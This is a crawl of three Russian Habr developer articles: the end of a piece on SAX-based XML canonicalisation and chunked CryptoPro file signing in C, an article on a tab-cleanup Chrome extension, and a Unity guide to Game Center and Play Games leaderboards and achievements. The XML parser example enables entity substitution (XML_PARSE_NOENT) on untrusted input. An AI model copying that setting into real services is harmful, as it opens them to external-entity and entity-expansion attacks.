return -1;
}
saxUserData->tempBuffLen = 0;
saxUserData->tempBuffFreeSpace = (sizeof(char) * len) + SMEV_CANON_BUF_ADDITION;
//Копируем ссылку на структуру в памяти
callbackData->saxUserData = saxUserData;
res = initSmevTransform(callbackData->uuid, callbackData->saxUserData, buffer, len, &callbackData->ctxt);
if(OK != res)
{
errorLog(callbackData->uuid, LOGGER_FILE_INFO, "initSmevTransform failed");
return -1;
}
if(OK != callbackData->saxUserData->err)
{
errorLog(callbackData->uuid, LOGGER_FILE_INFO, "SAX parser failed");
return -1;
}
return len;
}
res = updateSmevTransform(callbackData->uuid, callbackData->ctxt, buffer, len);
if(OK != res)
{
errorLog(callbackData->uuid, LOGGER_FILE_INFO, "updateSmevTransform failed");
return -1;
}
if(OK != callbackData->saxUserData->err)
{
errorLog(callbackData->uuid, LOGGER_FILE_INFO, "SAX parser failed");
return -1;
}
return len;
}
```
Сама реализация трансформации через SAX занимает более 1000 строк кода и приводить ее пример здесь смысла нет.
Но для лучшего понимания работы алгоритма ниже приведены примеры методов initSmevTransform, updateSmevTransform, cleanupSmevTransform, которые вызываются из c14BufWriteCallbackWithSmevCanon.
Они, как понятно из названий, занимаются инициализацией контекста SAX-парсера и добавлением в него новых данных.
Пример initSmevTransform:
```
error_code initSmevTransform(const char *uuid, saxCallbackData *callbackData, const char* firstChunk, int firstChunkLen, xmlParserCtxtPtr *ctxt)
{
xmlSAXHandler saxHandlers = {
.initialized = XML_SAX2_MAGIC,
.startDocument = saxStartDocument,
.endDocument = saxEndDocument,
.startElementNs = saxStartElementNs,
.endElementNs = saxEndElementNs,
.characters = saxCharacters,
.warning = saxWarning,
.error = saxError,
.fatalError = saxFatalError
};
char chars[4];
error_code res = OK;
debugLog(uuid, LOGGER_FILE_INFO, "started");
if(NULL == callbackData || NULL == firstChunk || 0 >= firstChunkLen || NULL == ctxt)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "bad input");
goto err;
}
memcpy(chars, firstChunk, sizeof(chars));
*ctxt = xmlCreatePushParserCtxt(&saxHandlers, callbackData, chars, sizeof(chars), NULL);
if (NULL == *ctxt) {
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "xmlCreatePushParserCtxt failed");
goto err;
}
res = xmlCtxtUseOptions(*ctxt, XML_PARSE_HUGE);
if(OK != res)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "xmlCtxtUseOptions failed");
goto err;
}
res = xmlCtxtUseOptions(*ctxt, XML_PARSE_NOENT);
if(OK != res)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "xmlCtxtUseOptions failed");
goto err;
}
res = xmlParseChunk(*ctxt, firstChunk + sizeof(chars), firstChunkLen - sizeof(chars), 0);
if(OK != res)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "xmlParseChunk failed");
goto err;
}
if (1 != (*ctxt)->wellFormed || 0 != (*ctxt)->errNo)
{
res = XML_PARSE_ERROR;
formatErrorLog(uuid, LOGGER_FILE_INFO, "xmlParseChunk failed, wellFormed: %d, err: %d", (*ctxt)->wellFormed, (*ctxt)->errNo);
goto err;
}
err:
return res;
}
```
Пример updateSmevTransform:
```
error_code updateSmevTransform(const char *uuid, xmlParserCtxtPtr ctxt, const char* chunk, int chunkLen)
{
error_code res = OK;
debugLog(uuid, LOGGER_FILE_INFO, "started");
if(NULL == ctxt || NULL == chunk || 0 >= chunkLen)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "bad input");
goto err;
}
res = xmlParseChunk(ctxt, chunk, chunkLen, 0);
if(OK != res)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "xmlParseChunk failed");
goto err;
}
if (1 != ctxt->wellFormed || 0 != ctxt->errNo)
{
res = XML_PARSE_ERROR;
formatErrorLog(uuid, LOGGER_FILE_INFO, "xmlParseChunk failed, wellFormed: %d, err: %d", ctxt->wellFormed, ctxt->errNo);
goto err;
}
err:
return res;
}
```
Пример cleanupSmevTransform:
```
error_code cleanupSmevTransform(const char *uuid, xmlParserCtxtPtr ctxt, const char* lastChunk, int lastChunkLen)
{
error_code res = OK;
debugLog(uuid, LOGGER_FILE_INFO, "started");
if(NULL == ctxt)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "bad input");
goto err;
}
res = xmlParseChunk(ctxt, lastChunk, lastChunkLen, 1);
if(OK != res)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "xmlParseChunk failed");
goto err;
}
if (1 != ctxt->wellFormed || 0 != ctxt->errNo)
{
res = XML_PARSE_ERROR;
formatErrorLog(uuid, LOGGER_FILE_INFO, "xmlParseChunk failed, wellFormed: %d, err: %d", ctxt->wellFormed, ctxt->errNo);
goto err;
}
err:
if(NULL != ctxt)
xmlFreeParserCtxt(ctxt);
return res;
}
```
Подпись файлов по чанкам
------------------------
В финальной части хотелось бы поговорить про подпись и верификацию файлов.
Хоть это и не относится к рестам, которые мы описывали, тут тоже есть, о чем рассказать. Например, создавать и верифицировать подписи для файлов тоже можно по чанкам. А так как сервис не накладывает никаких ограничений на их размер, и в реальных условиях размер файла запросто может превышать гигабайт, это может сэкономить очень много ресурсов.
Для этих целей лучше всего воспользоваться возможностями реализации CAPILite от КриптоПро для \*nix систем, в которой можно для стандартов CMS и CAdES-BES создавать и верифицировать подписи по чанкам. А поскольку операции для подписания и верификации на этом уровне не сильно отличаются, я приведу пример только для операций подписания.
В примере ниже сначала вызывается метод CryptMsgOpenToEncode из capilite для создания контекста сообщения, в который, с помощью метода CryptMsgUpdate можно помещать данные по чанкам, читая их, например, из файлового менеджера. А в конце вызывается метод CryptMsgGetParam, который позволяет получить подпись из контекста, когда все необходимые данные туда уже были добавлены.
```
HCRYPTMSG hMsg = 0;
BYTE * signatureBlob = NULL;
DWORD signatureBlobLen = 0;
//Создадим дескриптор сообщения
hMsg = CryptMsgOpenToEncode(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, flags, CMSG_SIGNED, &SignedMsgEncodeInfo, NULL, NULL);
if(NULL == hMsg)
{
localRes = false;
printCapiError(uuid, LOGGER_FILE_INFO, "CryptMsgOpenToEncode failed");
goto err;
}
//Поместим в сообщение подписываемые данные
localRes = CryptMsgUpdate(hMsg, data, dataLen, TRUE);
if(true != localRes)
{
printCapiError(uuid, LOGGER_FILE_INFO, "CryptMsgUpdate failed");
goto err;
}
//Определим длину подписанного сообщения
localRes = CryptMsgGetParam(hMsg, CMSG_CONTENT_PARAM, 0, NULL, &signatureBlobLen);
if (true != localRes)
{
DWORD err = GetLastError();
SetLastError(err);
if(err == SCARD_W_WRONG_CHV)
{
res = INVALID_PIN;
printCapiError(uuid, LOGGER_FILE_INFO, "CryptMsgGetParam failed, invalid pin");
}
else if(err == NTE_PERM)
{
res = CERT_EXPIRED;
printCapiError(uuid, LOGGER_FILE_INFO, "CryptMsgGetParam failed, access denied, most likely certificate expired");
}
else
{
printCapiError(uuid, LOGGER_FILE_INFO, "CryptMsgGetParam failed");
}
goto err;
}
//Резервируем память
signatureBlob = (BYTE *) malloc((size_t) signatureBlobLen);
if(NULL == signatureBlob)
{
localRes = false;
errorLog(uuid, LOGGER_FILE_INFO, "malloc failed");
goto err;
}
//Вернем подписанное сообщение
localRes = CryptMsgGetParam(hMsg, CMSG_CONTENT_PARAM, 0, signatureBlob, &signatureBlobLen);
if (true != localRes)
{
DWORD err = GetLastError();
SetLastError(err);
if(err == SCARD_W_WRONG_CHV)
{
res = INVALID_PIN;
printCapiError(uuid, LOGGER_FILE_INFO, "CryptMsgGetParam failed, invalid pin");
}
else if(err == NTE_PERM)
{
res = CERT_EXPIRED;
printCapiError(uuid, LOGGER_FILE_INFO, "CryptMsgGetParam failed, access denied, most likely certificate expired");
}
else
{
printCapiError(uuid, LOGGER_FILE_INFO, "CryptMsgGetParam failed");
}
goto err;
}
if(hMsg)
CryptMsgClose(hMsg);
if(signatureBlob)
free(signatureBlob);
```
В процессе редактирования статьи уже практически была готова собственная реализация стандартов CMS и CAdES-BES для подписи файлов, так как появились задачи, которые нельзя решить только с помощью КриптоПро.
Если будет интересно, могу написать об этом в отдельной статье.
Заключение
----------
В заключение хотелось бы добавить, что тут описан далеко не полный список архитектурных решений и оптимизаций, благодаря которым сервис получился быстрее предыдущего. Я постарался описать только самые важные из них, так что вполне возможно, что не у всех сложилась полная картина.
Я также решил не перегружать и так большую статью еще и информацией о профайлинге, сборке и развертыванию, так как тут все без велосипедов. Да и по всем упомянутым темам уже существует много отдельных постов и хорошая документация. Если совсем кратко, то для профайлинга был выбран pprof, как для C, так и GO-частей, сборкой управляет Makefile, зависимостями управляет dep (идет переход на go modules), а сам сервис разворачивается в докере.
Спасибо за внимание, и за то, что смогли дочитать статью до конца.
Если у вас есть замечания или предложения по дальнейшему улучшению кода или идеи для еще одной статьи, с удовольствием почитаю об этом в комментариях. | https://habr.com/ru/post/546756/ | null | ru | null |
# Как я избавился от тысячи вкладок…
… и опоздал на 3 года. В идеале должно быть так: пользователь запускает браузер, и браузер показывает то, что нужно пользователю. Но пока такого не реализовали приходится пользоваться поисковыми системами. В идеале должно быть так: пользователь открывает поисковую систему, вводит поисковый запрос, и она показывает то, что нужно пользователю. Но пока кнопка *«I feel lucky»* не так хорошо работает (хотя в последнее время ощутимо движение в этом направлении), приходится иногда переходить по нескольким адресам со страницы поисковой выдачи.
Сценарий использования поисковых систем у меня, видимо, закреплен исторически (когда интернет был медленный): попадая на страницу поисковой выдачи, я открывал несколько вкладок в фоновом режиме, и пока остальные загружались, вполне можно было уже прочитать первую вкладку. В случае, когда находил нужную информацию на одной из вкладок, остальные приходилось закрывать вручную. Если не закрыл сразу, вкладки оставались висеть, раздувая количество открытых вкладок в браузере, которые, как правило, редко после этого закрывались.
К тому же, если переходишь на странице по ссылкам, которые открываются в новом окне, создается несколько связанных между собой (логически) вкладок. Когда находишь нужную информацию, не всегда можно вспомнить какие вкладки связаны между собой, можешь закрыть не все, что также ведет к раздуванию количества открытых вкладок.
Мне всегда нужна была кнопка *«Нашел»*, которая бы подчищала за мной последствия поиска (назовём её *«I was lucky»*). После того, как окунулся в мир расширений для браузеров, я подумал, что это то, что может помочь в данном случае. Так смутно начало появляться желание написать расширение, которое бы решало мои задачи.
Расскажу вам свою историю, рассказ буду вести в хронологическом порядке, выводы могут оказаться неожиданные.
### Первый шаг на пути
Первым делом взялся за настройку инфраструктуры: *webpack + babel*. И сразу же мне не понравилось, что *babel* дублировал в каждом модуле код для своих хелперов. Можно было настроить, чтобы он использовал объект `babelHelper`, но тогда файл с кодом `babelHelper` нужно было подключать в конфигурации *webpack*. Хранить такой файл в проекте и указывать его в `entry` было некрасиво, я сделал плагин для вебпака, который выполнял это за меня автоматически. Потратив много сил на первый шаг и написав ещё немного кода для самого расширения, я немного притормозил.
**Плагин****webpack-babel-external-helpers-2:**
[www.npmjs.com/package/webpack-babel-external-helpers-2](https://www.npmjs.com/package/webpack-babel-external-helpers-2)
### Фундамент
Время шло, а в наличии был только плагин для вебпака, который никак не решал моих задач. И каждый раз, когда я что-то искал и не закрывал вкладки, была мысль: «Хорошо бы доделать то расширение...» Желание росло и росло, и вот, в один прекрасный день, количество переросло в качество.
Самое время рассказать, в чем была основная идея:
Пользователь попадает на страницу поисковой выдачи — СЕРП, мы парсим выдачу, сохраняем себе адреса ссылок, после того, как пользователь перешел по одному из адресов, показываем ему уведомление с остальными адресами и кнопкой *«Нашел»*, чтобы закрыть вкладки.
При переходе на страницу могут быть различные варианты. Самый простой: один запрос — один ответ от сервера (*200*). Самый сложный: один запрос — несколько серверных перенаправлений (*3xx*), после чего клиентское перенаправление (с помощью или javascript), сверху ещё и *history API*. И комбинации между ними, как правило, большинство сайтов попадает в эту категорию.
Простой случай перехода:
![Случай простого перехода (ответ 200)](https://habrastorage.org/r/w1560/webt/d9/ml/od/d9mlodnv9fkgcqczxiomnwwhvqc.png)
Сложный случай перехода:
![Случай сложного перехода (3xx + клиентские перенаправления)](https://habrastorage.org/r/w1560/webt/yl/zc/ps/ylzcpsc_dcgocw-o5vhwci2xoy4.png)
То есть сохранить адрес страницы и при переходе проверять только его не всегда достаточно. Поэтому нужно создать логический Переход, куда записывать все адреса, встретившиеся на пути, а потом проверять, что логический Переход содержит в себе сохраненный адрес. Задача понятна, но не все так прямолинейно в исполнении.
В Хроме есть два API, связанных с навигацией: [webNavigation](https://developer.chrome.com/extensions/webNavigation) и [webRequest](https://developer.chrome.com/extensions/webRequest) — каждый со своими событиями. Первый — связывает переходы и UI браузера, последний — нижележащие сетевые запросы. Поэтому, если изменение адреса на странице произошло за счет *history API*, не будет никаких событий у последнего, а если во время сетевого запроса происходят перенаправления, то первый об этом никак не сообщает. Следовательно, нужно использовать оба АПИ, собирая по щепотке от каждого события каждого АПИ, формировать один логический Переход.
**Немного деталей**Как указано в документации, события для `webNavigation` (wN) выполняются в следующем порядке:
```
onBeforeNavigate -> onCommitted -> onDOMContentLoaded -> onCompleted
```
Интересующие события `webRequest` (wR):
```
onBeforeRequest -> [onBeforeRedirect -> onBeforeRequest]* -> onCompleted | onErrorOccurred
```
Но между собой события wR и wN не имеют определенного порядка (на аналогичных стадиях запроса), т.е. в каких-то случаях `wN.onBeforeNavigate` может выполниться раньше `wR.onBeforeRequest`, в каких-то наоборот. Что немного усложняет логику работы.
`Для этих АПИ нужно указывать соответствующие разрешения в манифесте расширения, а посему при установке расширения, пользователю будет выдаваться пугающий текст о возможностях расширения.`
### Развитие
… Вернемся к моменту, когда количество переросло в качество. С начала разработки до этого момента прошло существенное количество времени: браузеры стали поддерживать *es6 модули*, *shadow DOM* и другие современные фичи. Для сборки проект переехал на *Rollup*, плагин в этот раз писать не пришлось. После постройки фундамента — возможности получения информации о любом переходе в любой вкладке, осталось реализовать логику парсинга поддерживаемых СЕРПов и показа уведомлений на связанных страницах.
Первая задача достаточно примитивная: знаем адрес СЕРПа, лезем в содержимое страницы с помощью контент скрипта, получаем интересующие нас данные, сохраняем, ждем, когда пользователь перейдет на одну из страниц, чтобы показать ему уведомление с остальными страницами.
Для второй задачи нужна реализация самого уведомления, то что показывать на странице пользователю. И здесь тоже без контент скриптов не обойтись.
Изначально был только один обработчик (он же контроллер), отвечающий за логику при взаимодействии пользователя с поисковыми системами. После чего возникла идея почему бы не показывать уведомления на связанных вкладках, когда пользователь просто переходит по ссылкам, открываемых в новых вкладках. Пришлось переделать логику, сделав ее более универсальной. По аналогии с middleware *React/Redux*, можно подключать несколько обработчиков Переходов, что в будущем позволит реализовать возможность отключения/включения различных обработчиков в настройках расширения.
### Приватность
Так как уведомление — это панель внизу экрана, и добавляется она в разметку страницы, то скрипт на странице может получить доступ к этому элементу так же, как и к любому другому элементу на этой странице. То есть теоретически страница могла бы узнать какой поисковый запрос вы использовали, в каком поисковике и какие другие страницы вам предложены, что не очень хорошо.
На помощь приходит технология под названием [shadow DOM](https://developers.google.com/web/fundamentals/web-components/shadowdom). В вебе не рекомендуется использовать `closed mode` при создании `shadowRoot`, потому что в этом нет большого смысла (все равно придется хранить ссылку на элемент `shadowRoot` где-нибудь, если хочется иметь к нему доступ программно; так же можно переопределить функцию `attachShadow`, чтобы она создавала `shadowRoot` в открытом режиме, и тогда скрипты подгруженные после переопределения уже будут пользоваться новой версией функции).
В случае же расширения это не так. Контент скрипты и скрипты страницы живут в параллельных мирах. Скрипты со страницы не имеют доступ к объектам, определенным в контент скриптах, контент скрипты же оперируют с нативной реализацией функций DOM объектов (переопределенная функция скриптом со страницы не имеет эффекта на функцию, с которой работает контент скрипт). Соединяя эти два условия, получаем, что можно создать элемент с закрытым `shadowRoot`, сохранив ссылку на него в переменной.
В этом случае скрипт со страницы сможет получить доступ только к элементу обертке, который для него будет пустой. Он не сможет получить текст запроса или предложенные страницы. Нужно внимательно следить, чтобы в сгенерированных событиях не отдать ссылку на какой-нибудь элемент внутри уведомления или открытый текст. Поэтому в расширении в событиях используются сгенерированные id, а уже background скрипт по этому id понимает что от него требуется. Для страницы же этот id достаточно бессмысленный.
### Трудности перевода
Изначально расширение разрабатывалось только для *Google Chrome*, но так как *WebExtensions API*, где-то в голове держал возможность портирования в другие браузеры. А наличие [webextension-polyfill](https://github.com/mozilla/webextension-polyfill) вселяло уверенность. Но как бы не так. Полифил для этого расширения принес только возможность использования chrome API с промисами.
*Firefox* стал разочарованием года. Несоответствие chrome API в Фаерфоксе ([Bug 1543647](https://bugzilla.mozilla.org/show_bug.cgi?id=1543647), [Bug 1595621](https://bugzilla.mozilla.org/show_bug.cgi?id=1595621)) оказалось критичным для работоспособности расширения, можно сказать оно в этом браузере не работает (как положено).
*Vivaldi* был наиболее близок, но также не обошлось. Событие `wN.onCreatedNavigationTarget` не возникает, когда пользователь открывает ссылку средней кнопкой мыши или через `Shift|Ctrl` + левая кнопка мыши, вместо этого в событии `wN.onCommitted transitionType == 'start_page'`, чего нет в *chrome API*, из-за этого не во всех случаях расширение работает правильно. Так же в Вивальди не работают горячие клавиши для расширений. Что является киллер-фичей в данном случае в Хроме, позволяет намного быстрее переходить по вкладкам и закрывать их, без необходимости использования для этого мышки.
### Заключение
В ходе написания кода логика работы показа уведомлений менялась несколько раз, каждый раз упрощаясь. В итоге получилось так, что можно было не городить огород с логическими Переходами, а отлавливать «связанные переходы» пользователя (в событии `wN.onCommitted` есть флаг `transitionType`, который указывает из-за чего был переход, во многих случаях он равен «link», означающее что пользователь перешел по ссылке), что значительно бы упростило код и работало во многих случаях, но не во всех.
Так же, не находясь в теме, ожидал большей совместимости с точки зрения *webExtensions API*. Как всегда — хорошо жить в мире современных браузеров, когда не нужна поддержка старых версий. CSS анимации прекрасная вещь: то, для чего раньше нужно было использовать js библиотеку, теперь делается в несколько строк на css. В расширениях не работают Custom elements, зато работает shadow DOM, позволяющий воспользоваться всеми его возможностями.
**Расширение**Само расширение можно скачать из chrome web store: [Handy Search](https://chrome.google.com/webstore/detail/handy-search/clhaemfeepnllbbjfkkhlcgbfgnjilnl) | https://habr.com/ru/post/487782/ | null | ru | null |
# Unity3d: эксперименты с Social Interface
Современную мобильную игру трудно представить без социальной интеграции, общих таблиц рекордов (leaderboards) и достижений (achievements). Дабы не отставать от тенденций, решил интегрировать Game Center и Play Services для iOS и Android версий моей игры.
Так как я разрабатываю игру в свободное время в качестве хобби, то мысли о покупке плагинов, например, prime31, были отброшены сразу. Выбор пал на интерфейс Social, который входит в состав Unity. Вокруг этого пакета чувствуется интрига: практическое отсутствие справочной информации наталкивает на две мысли: либо интерфейс очень прост, либо не пригоден к использованию. Итак, пришло время в этом разобраться.
Прежде всего оказалось, что интерфейс этот имеет реализацию только под iOS, а для Android — это, действительно, интерфейс в чистом виде.
Нежелание покупать плагины и желание добавить таблицу рекордов привели меня сюда: <https://github.com/playgameservices/play-games-plugin-for-unity>. Это бесплатный плагин под Android от Google, который наполняет интерфейс Social живительной реализацией и сохраняет толщину кошелька на прежнем уровне. Плагин имеет пугающую версию 0.9, однако на его работоспособности это не сказывается, но отсутствует часть функционала, о которой речь пойдет дальше.
Полный решимости и веры в успех я начал подготавливать проекты в iTunes Connect и Google Developer Console — на этом этапе никаких проблем не возникает, обе платформы имеют практически идентичные настройки таблиц рекордов и достижений, а обилие справочной информации не дает сбиться с пути.
Есть пара моментов, на которые стоит обратить внимание:
Google Developer Console генерирует идентификаторы достижений и лидербордов сам, а в iTunes Connect их нужно задавать самостоятельно, поэтому для большей совместимости будущего кода удобно начать с Google, а затем по образу и подобию настроить проект под iOS, копируя те же идентификаторы.
При работе с Play Services в Google Developer Console, а также при добавлении альфа/бета версий игры, Google настойчиво предлагает сделать «паблишинг» достижений и лидербордов — на это не стоит соглашаться до самого релиза, т.к. после «паблишинга» вы лишаетесь возможности удалять достижения и таблицы рекордов, а также редактировать такие важные параметры, как кол-во шагов, необходимых для выполнения итеративных достижений.
Я создал лидерборды «High Scores» и минимальный набор достижений (для Google — это пять позиций) так что, даже если вы не собираетесь их использовать — придется из себя что-то выжать. У Apple такого ограничения нет, но раз уж достижения созданы — нет ничего сложного в том, чтобы их скопировать.
Далее устанавливаем плагин для Android. В меню Unity выбираем Assets/Import Package/Custom Package и разворачиваем плагин в свой проект. После успешного импорта в меню появляется пункт Google Play Games, выбираем подпункт Android Setup..., вводим идентификатор приложения, который можно найти в разделе Game Services Google Developer Console и получаем плагин, готовый к использованию.
Теперь все готово к тому, чтобы написать пару строк кода (C#) в Unity. Прежде всего нужно сделать предварительные настройки для iOS и Android, а также авторизироваться:
```
#if UNITY_ANDROID
// активируем плагин Google Play Games, если приложение собирается под Android,
// таким образом интерфейс Social получает его реализацию
GooglePlayGames.PlayGamesPlatform.Activate();
#endif
#if UNITY_IPHONE
// по умолчании при получении достижения под iOS ничего не происходит, чтобы игрок видел стандартное сообщение о получении достижения нужно вызвать эту функцию
UnityEngine.SocialPlatforms.GameCenter.GameCenterPlatform.ShowDefaultAchievementCompletionBanner(true);
#endif
Social.localUser.Authenticate(onProcessAuthentication);
// функция вызывается, когда завершается авторизация
// если операция проходит успешно, Social.localUser будет содержать данные сервера
private void onProcessAuthentication(bool success)
{
Debug.Log("onProcessAuthentication: " + success);
}
```
После успешной авторизации мы можем работать с лидербордами и достижениями.
При работе с лидербордами я решил, что мне нужно прежде всего получить текущий рекорд игрока — это нужно, чтобы можно было сравнивать старый рекорд с новым и если игрок достигает нового топа, выводить об этом сообщение «Congratulations! New Top: XXX». Для этого я написал следующий код, который создает таблицу, устанавливает фильтр игроков, по которым нам нужны данные (только наш игрок), и получает текущий рекорд игрока в случае успеха:
```
string[] userIds = new string[] { Social.localUser.id };
highScoresBoard = Social.CreateLeaderboard();
highScoresBoard.id = "LEADERBOARD_ID";
highScoresBoard.SetUserFilter(userIds);
highScoresBoard.LoadScores(onLeaderboardLoadComplete);
private void onLeaderboardLoadComplete(bool success)
{
Debug.Log("onLeaderboardLoadComplete: " + success);
if (success)
{
long score = highScoresBoard.localUserScore.value;
}
}
```
Отправка текущего прогресса выглядит следующим образом (при чем, нам не обязательно заботится о том, что новый результат может быть меньше старого — в этом случае данные будут отброшены сервером):
```
public void reportScore(long score)
{
if (Social.localUser.authenticated)
{
Social.ReportScore(score, "LEADERBOARD_ID", onReportScore);
}
}
private void onReportScore(bool result)
{
Debug.Log("onReportScore: " + success);
}
```
После тестирования этого кода появилась проблема — он не работает под Android, т.к. в плагине нет реализации этой функции — вот она, прелесть версии 0.9.
Но это не повод для расстройств, поразмыслив, я пришел к выводу, что нет необходимости получать текущий рекорд игрока, достаточно хранить его локально. Дело в том, что если игрок поменяет устройство, или просто удалит вашу игру и вернется в нее спустя какое-то время, ему будет приятнее заново раз за разом бить свой собственный локальный рекорд. Рекорд же в лидербордах будет всегда содержать максимальный прогресс игрока, и чтобы его побить у игрока может уйти много времени, что в конечном счете может снизить мотивацию игрока. Так что я решил отказаться от глобального рекорда, и дописал следующий код к авторизации:
```
public long highScore = 0;
private void onProcessAuthentication(bool success)
{
Debug.Log("onProcessAuthentication: " + success);
if (success)
{
if (PlayerPrefs.HasKey("high_score"))
highScore = (long)PlayerPrefs.GetInt("high_score");
}
}
```
Отправка прогресса на сервер приняла вид:
```
public void reportScore(long score)
{
if (Social.localUser.authenticated)
{
if (score > highScore)
{
highScore = score;
PlayerPrefs.SetInt("high_score", (int)score);
Social.ReportScore(score, "LEADERBOARD_ID", onReportScore);
}
}
}
```
Таким образом мы запоминаем локальный рекорд игрока, который затем можно использовать для проверки достижения нового рекорда.
Осталось вывести стандартный диалог лидербордов, что можно сделать с помощью функции Social.ShowLeaderboardUI(). По умолчанию для Android отображается список всех лидербордов, даже если он у вас один (таблица «High Scores»), это не очень красиво и требует лишнего выбора от игрока, поэтому пришлось дописать такой код:
```
#if UNITY_ANDROID
(Social.Active as GooglePlayGames.PlayGamesPlatform).SetDefaultLeaderboardForUI("LEADERBOARD_ID");
#endif
Social.ShowLeaderboardUI();
```
Разобравшись с таблицами рекордов и довольный результатом я приступил к реализации достижений, и тут меня ждал большой и неприятный сюрприз, но давайте по порядку.
Достижения есть двух типов: «одноходовые» (achievement) и инкрементируемые (incremental achievement). Первые подразумевают достижение с одного раза, например «запустить ракету» — как только игрок нашел и запустил одну ракету, мы считаем, что достижение выполнено на 100% и открываем его игроку. Инкрементируемые достижения подразумевают пошаговое выполнение в несколько этапов, например, достижение «Охотник за вишенками» подразумевает сбор 15 вишенок, в процессе чего игроку будет постепенно открываться достижение, а после сбора всех 15 вишенок он получит его полностью. Такие достижения мне показались более уместными в моей игре; для начала, я добавил 5 достижений:
![](https://habrastorage.org/r/w780q1/files/098/37e/b21/09837eb21f32471680da4981abc361aa.jpg)
Приступив к реализации инкрементируемых достижений я столкнулся с двумя проблемами:
— Разница во взаимодействии с Android и iOS серверами;
— Нужно хранить текущий прогресс по достижению, чтобы каждый раз слать увеличенное значение, иначе достижение не будет расти.
Разница во взаимодействии состоит в том, что Google Play рассчитывает процентное приращение достижения сам, указав в Google Developer Console кол-во шагов 15, мы можем каждый раз отправлять на сервер значение 1, и серверная логика будет складывать единицы до тех пор, пока не наберется 15 и достижение не будет открыто.
Apple Game Center перекладывает заботу о приращении прогресса по достижению на логику клиента, и ждет от нас постепенного увеличение прогресса в пределах от 0 до 100 единиц (процентов). Поэтому если мы будем слать ему постоянно 1, то прогресс постоянно будет 1%.
Итак, в случае с iOS нам нужно получать текущий прогресс достижений и сохранять его, чтобы можно было в будущем слать увеличенное значение. А также нам нужно хранить на клиенте количество шагов (итераций) для того, чтобы отправлять правильное приращение прогресса. Для этих целей я создал вспомогательный класс:
```
public class AchievementData
{
public string id;
public int steps;
public AchievementData(string id, int steps)
{
this.id = id;
this.steps = steps;
}
}
```
И подготовил данные по своим достижениям (фактически это копия данных, которые я ввел в Google Developer Console для Android):
```
// описываем все возможные достижения - их идентификаторы и кол-во итераций для достижения
public static readonly AchievementData cherryHunter = new AchievementData("ACHIEVEMENT_ID", 15);
public static readonly AchievementData bananaHunter = new AchievementData("ACHIEVEMENT_ID", 25);
public static readonly AchievementData strawberryHunter = new AchievementData("ACHIEVEMENT_ID", 50);
public static readonly AchievementData rocketRider = new AchievementData("ACHIEVEMENT_ID", 15);
public static readonly AchievementData climberHero = new AchievementData("ACHIEVEMENT_ID", 250);
// массив всех возможных достижений
private readonly AchievementData[] _achievements =
{
cherryHunter,
bananaHunter,
strawberryHunter,
rocketRider,
climberHero
};
// таблица достижений игрока, заполняется основываясь на результатах от сервера
private Dictionary \_achievementDict = new Dictionary();
Следующий код нужен только для iOS:
if (Application.platform == RuntimePlatform.IPhonePlayer)
{
Social.LoadAchievements(onAchievementsLoadComplete);
}
private void onAchievementsLoadComplete(IAchievement[] achievements)
{
// заносим в таблицу достижения, по которым у игрока уже есть прогресс
foreach (IAchievement achievement in achievements)
{
\_achievementDict.Add(achievement.id, achievement);
}
// создаем остальные достижения, по которым у игрока еще нет прогресса
for (int i = 0; i < \_achievements.Length; i++)
{
AchievementData achievementData = \_achievements[i];
if (\_achievementDict.ContainsKey(achievementData.id) == false)
{
IAchievement achievement = Social.CreateAchievement();
achievement.id = achievementData.id;
\_achievementDict.Add(achievement.id, achievement);
}
}
}
```
Важно обратить внимание, что пока по достижениям нет прогресса, будет приходить пустой список — это не баг, в этом массиве приходят только достижения, по которым у игрока уже есть прогресс больше 0, поэтому после получения списка имеющихся достижений «заполняем пробелы» по остальным достижениям (с прогрессом 0), чтобы в дальнейшем работать со всеми достижениями по одному принципу.
Отправка прогресса по достижению отличается для обоих платформ:
```
public void reportProgress(string id)
{
if (Social.localUser.authenticated)
{
#if UNITY_ANDROID
(Social.Active as GooglePlayGames.PlayGamesPlatform).IncrementAchievement(id, 1, onReportProgressComplete);
#elif UNITY_IPHONE
IAchievement achievement = getAchievement(id);
// нормализуем значение в рамках 0 - 100
achievement.percentCompleted += 100.0 / getAchievementData(id).steps;
achievement.ReportProgress(onReportProgressComplete);
#endif
}
}
```
В нем используются две вспомогательные функции:
```
// возможность получить данные по достижению за пределами класса
public IAchievement getAchievement(string id)
{
return _achievementDict[id];
}
// возможность получить вспомогательные данные по достижению, которые нам нужны при расчете прогресса для iOS и которые мы специально храним на клиенте (массив всех возможных достижений)
public AchievementData getAchievementData(string id)
{
for (int i = 0; i < _achievements.Length; i++)
{
AchievementData achievementData = _achievements[i];
if (achievementData.id == id)
return achievementData;
}
return null;
}
```
Чтобы отобразить стандартный диалог достижений, воспользуемся функцией:
```
#if UNITY_ANDROID || UNITY_IPHONE
Social.ShowAchievementsUI();
#endif
```
Вспомогательная функция, которая может пригодится во время тестирования достижений для iOS, возвращает весь список достижений (полученные от сервера + созданные на клиенте):
```
override public string ToString()
{
string result = "";
foreach (KeyValuePair pair in \_achievementDict)
{
IAchievement achievement = pair.Value;
result += achievement.id + " " +
achievement.percentCompleted + " " +
achievement.completed + " " +
achievement.lastReportedDate + "\n";
}
return result;
}
```
Подводя итог, работа с достижениями под Android проще. В случае с iOS нужно больше всего контролировать на стороне клиента. В этом есть только один плюс — большая гибкость под iOS, за что приходится платить временными затратами.
Так как под Android пришлось использовать сторонний плагин, то я начал проверять написанную логику именно с него. Убедившись, что все работает окей, я решил быстренько проверить логику на iPad и подготовить релизы игры. И тут меня ждал тот самый неприятный сюрприз, который всплыл, когда его меньше всего ожидаешь: функция отправки прогресса для iOS постоянно возвращала false и загадочную строку:
*Looking for «ACHIEVEMENT\_ID», cache count is 1.*
